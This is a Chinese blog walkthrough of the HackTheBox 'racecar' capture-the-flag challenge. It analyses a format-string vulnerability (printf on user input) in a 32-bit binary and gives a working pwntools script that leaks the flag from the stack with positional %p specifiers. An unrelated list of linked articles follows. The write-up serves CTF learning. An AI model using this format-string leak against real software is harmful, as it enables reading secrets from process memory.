HackTheBox You know racecar 格式化字符串漏洞pwn题目

article/2025/8/18 23:05:18

题目网址:

https://app.hackthebox.com/challenges/racecar

在这里插入图片描述

解压密码为hackthebox

文件信息收集

file racecar

在这里插入图片描述

这是一个32位的程序,动态链接的

checksec vuln

在这里插入图片描述

防护都开着的,从上到下依次是

32位程序
全部RELRO
开启栈保护
启用数据执行防护
程序的内存空间随机化

静态分析

用ghidra打开程序,按下键盘的i键,选择程序

在这里插入图片描述

双击启动,然后都是默认即可

在这里插入图片描述

在这里插入图片描述

回到终端,先运行程序,搞清楚程序的界面

在这里插入图片描述

nc 46.101.77.44 30441

在这里插入图片描述

比较常见的pwn题目,我第一个想到的漏洞是格式化字符串漏洞,回到ghidra,继续分析,这程序的函数还挺多,在car_menu内找到了关键的地方

在这里插入图片描述

  if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);coins = coins + 100;puVar5 = &DAT_00011538;printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",&DAT_000119de);__format = (char *)malloc(0x171);__stream = fopen("flag.txt","r");if (__stream == (FILE *)0x0) {printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);/* WARNING: Subroutine does not return */exit(0x69);}fgets(local_3c,0x2c,__stream);read(0,__format,0x170);puts("\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world  to know this: \x1b[0m");printf(__format);}

程序在这读取了flag文件里的内容,还读取了我们输入的内容并输出,我们可以尝试泄露栈中的数据,首先我们需要到Do you have anything to say to the press after your big victory?\n>字符串的位置

在这里插入图片描述

然后尝试泄露堆栈里的内容

AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p % p %p %p %p

在这里插入图片描述

泄露了很多东西,但是我们输入的AAAAAAAA字符串的数据没有泄露,然后我重新看了一下汇编代码

在这里插入图片描述

在这里插入图片描述

因为我们的输入存储在char *__format中,现在我们需要遍历堆栈,查找__format的偏移量

%数字$s

在这里插入图片描述

在我们输入到10的时候,程序返回*__format指针的内容,也就是我们输入的内容,然后我用ida继续分析程序的汇编代码,因为ghidra在深度分析时,多多少少有点问题

在这里插入图片描述

然后我把这些函数改一个名称

在这里插入图片描述

可以看到,flag的地方文件描述符(fd)之后

pwn

现在写一个脚本来泄露flag

from pwn import *offset_start_flag = 12
len_of_flag = 44
offset_end_flag = offset_start_flag + 11formatstring = ""for i in range(offset_start_flag, offset_end_flag):formatstring += "%"+str(i)+"$p "r = remote("46.101.77.44", 30441)r.sendlineafter("Name: ", "a")
r.sendlineafter("Nickname: ", "a")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "1")r.sendlineafter("> ", formatstring)
r.recv()
response = r.recv()# Format output
preflag = (response.decode("utf-8").split("m\n"))[1]
preflag = preflag.split()flag = ""
for hexdecimal in preflag:flag += p32(int(hexdecimal, base=16)).decode("utf-8")print(flag)

在这里插入图片描述
成功获得flag


http://chatgpt.dhexx.cn/article/NtwbOHcS.shtml

相关文章

什么是Race Condition?

简介 race condition是多线程的应用程序中经常遇到的问题&#xff0c;本文章接下来会解释什么是race condition&#xff0c;如何检测到它们以及如何解决这类问题。 Race condition 从定义来说&#xff0c;race condition是代码中一些执行结果取决于其执行的相对时间或者多线…

免费教程·开源 | 从零开始制作ROS无人竞速车RACECAR教程

一、课程前提 自动驾驶汽车即将成为交通出行的主流工具之一&#xff0c;它以计算机、现代汽车产业技术为基础&#xff0c;以数字化、智能化为依托实现自动化驾驶&#xff0c;学习自动驾驶需要了解架构、环境感知、行为决策、规划路径&#xff0c;多传感器融合等一系列技术&…

Racecar 基于ROS通信机制的多点导航实验

基于ROS通信机制的多点导航实验 一、实验目的二、实验环境三、实验原理四、实验内容五、实验步骤1.获取rviz发送目标点的topic&#xff1b;2.对已经建好的图获取相应目标点的坐标&#xff08;多个&#xff0c;即小车要去的目标&#xff09;&#xff0c;还没建图先完成建图&…

C语言的整数除法

c语言的整数除法是向下取整的。

C语言 从5~100之间找出能被5或7整除的数

从5~100之间找出能被5或7整除的数 算法分析&#xff1a;注意“或”的理解&#xff1a;或此或彼或彼此 #include "stdio.h" main( ) { int i;for(i5;i<100;i)if(i%50||i%70)printf("%d\t",i); }有伙伴问倒序输出&#xff1a; 在线编译C语言&#xff1a;…

C语言实现计算数字能否被3个数整除

C语言实现计算数字能否被3个数整除 编程实现&#xff1a;输入一个整数&#xff0c;判断它能否被3&#xff0c;5&#xff0c;7整除&#xff0c;并输出以下信息之一&#xff1a; ①能同时被3&#xff0c;5&#xff0c;7整除&#xff1b; ②能被其中两数(要指出哪两个)整除&#x…

C语言-求能被7或11整除的整数

本关任务&#xff1a;编写程序求[1&#xff0c;1000]范围内能被7或11整除&#xff0c;但不能同时被7和11整除的整数。按每行8个数&#xff0c;每个数占5个字符且以左对齐的格式进行输出。 #include<stdio.h> int main() {int i1;int count0;for(i1;i<1000;i){if((i%7…

c语言学习-判断一个数是否能被3整除

判断一个数是否能被3整除 在主函数中输入整型数据n,判断该数是否能被3整除&#xff0c;如果能被3 整除&#xff0c;输出“yes”,否则输出“no” 程序流程图&#xff1a; void main() { int a; printf("please enteraguess number:\n"); scanf("%d",&…

C语言--编写程序,输入一个整数,判断它能否被3,5,7整除

编写程序&#xff0c;输入一个整数&#xff0c;判断它能否被3,5,7整除&#xff0c;并输出下列信息之一&#xff1a; 能同时被3,5,7整除&#xff1b;能被x和y两个数整除&#xff1b;能被x整除&#xff1b;不能被3,5,7任一个数整除。 #include <stdio.h> void main() { in…

【C语言】数据整除判断

题目&#xff1a;C语言编程实现——输入一个整数&#xff0c;判断它能否被 3&#xff0c;5&#xff0c;7 整除&#xff0c;并输出以下信息之一&#xff1a; ①能同时被 3&#xff0c;5&#xff0c;7 整除&#xff1b; ②能被其中两数&#xff08;要指出哪两个&#xff09;整除…

C语言—整除问题、求余、赋值、逻辑运算符易错点

前言 &#x1f428;这一篇主要是讲那些老师可能不会讲&#xff0c;但是很多初学者都容易踩坑的地方 &#x1f914; 根据自己踩过的的坑整理了一下&#x1f927; 文章目录 前言一、整除问题1️⃣第一种情况&#xff1a;整数相除&#xff0c;抹去小数位2️⃣第二种情况&#xff…

东南大学本 硕 博论文中期答辩 毕业答辩ppt模板2021版

东南大学本硕博开题、中期、毕业论文答辩ppt模板 ppt模板样式如下&#xff1a; 如果对您有用 &#xff0c;欢迎点赞&#xff0c;关注和收藏&#xff0c;谢谢各位路官。 下载地址 https://download.csdn.net/download/Vertira/19026191

计算机硕士系统毕业论文答辩ppt,计算机硕士论文答辩ppt

为毕业生写计算机硕士论文答辩ppt提供计算机硕士论文答辩ppt范文参考,涵盖硕士、大学本科毕业论文范文和职称论文范文,包括论文选题、开题报告、文献综述、任务书、参考文献等,是优秀免费计算机硕士论文答辩ppt网站。 费孝通的博士论文答辩“花天酒地” 费孝通的博士论文答辩…

毕业生必看:硕士答辩注意事项!

通过本次硕士答辩感触最深的就是能从中学习到很多东西&#xff0c;而最主要的就是专家在审查论文的时候会有哪些点&#xff1f;在提问的过程中会提到什么问题&#xff1f;还有就是各位师弟师妹们在陈述自己论文的时候要结合自己PPT重点的引导专家看论文等等&#xff0c;具体本次…

热搜!硕士答辩看到一篇非常惊喜的论文,网友直呼:求导师分享全文

点击上方“视学算法”&#xff0c;选择加"星标"或“置顶” 重磅干货&#xff0c;第一时间送达 本文整理自微博、中国青年报&#xff08;ID&#xff1a;zqbcyol &#xff09;、澎湃新闻、中国知网 近日&#xff0c;#硕士答辩看到一篇非常惊喜的论文#词条登上微博热搜&…

Git远程仓库—Github

一、创建远程仓库 以下操作为演示在Github网站上创建远程仓库 1.登陆注册Github2.创建仓库入口 3.编辑仓库信息 4.仓库创建完成 5.查看仓库地址 远程仓库地址 https://github.com/qruihua/info.git 二、配置SSH 选择SSH操作 如果某台电脑需要与Github上的仓库交互&#xff0c…

Git远程仓库与分支管理

文章目录 Git远程仓库什么是远程仓库什么是GitHub环境搭建添加远程库从远程库克隆 Git分支管理创建与合并分支解决冲突分支管理策略Bug分支Feature分支多人协作Rebase Git远程仓库 什么是远程仓库 远程仓库就是 在公网服务器上的仓库。 Git离线提交的原理就是&#xff1a;修改…

【Linux】使用git 连接到远程gitee仓库

一.创建gitee仓库 登陆到自己的gitee&#xff0c;点击新建仓库 输入仓库名称&#xff0c;注意gitee初次创建仓库时只能设置成私有的 创建后的页面是这样的&#xff0c;复制HTTPS 二.git三板斧 1.安装git 打开xshell&#xff0c;输入命令&#xff1a; yum install git 可以输入…

Git本地远程仓库的搭建(局域网内的提交和推送)

需要和同事一起开发一个Unity项目&#xff0c;所以要用到git&#xff0c;这东西以前都是公司的主程搭建好的&#xff0c;现在需要自己弄&#xff0c;虽然很简单的东西&#xff0c;但是也搞了好久。 之前就搭建过一次局域网git&#xff0c;当时就花了2天时间&#xff0c;现在要…

git远程仓库使用流程

git远程仓库使用流程 远程仓库使用流程远程仓库介绍远程仓库使用流程如何将本地文件夹关联远程仓库 多人开发配置流程远程仓库SSH配置远程仓库使用流程总结git分支使用流程分支介绍1.2-分支使用流程 远程仓库使用流程 Git命名作用详细描述git clone克隆远程仓库代码把服务器的…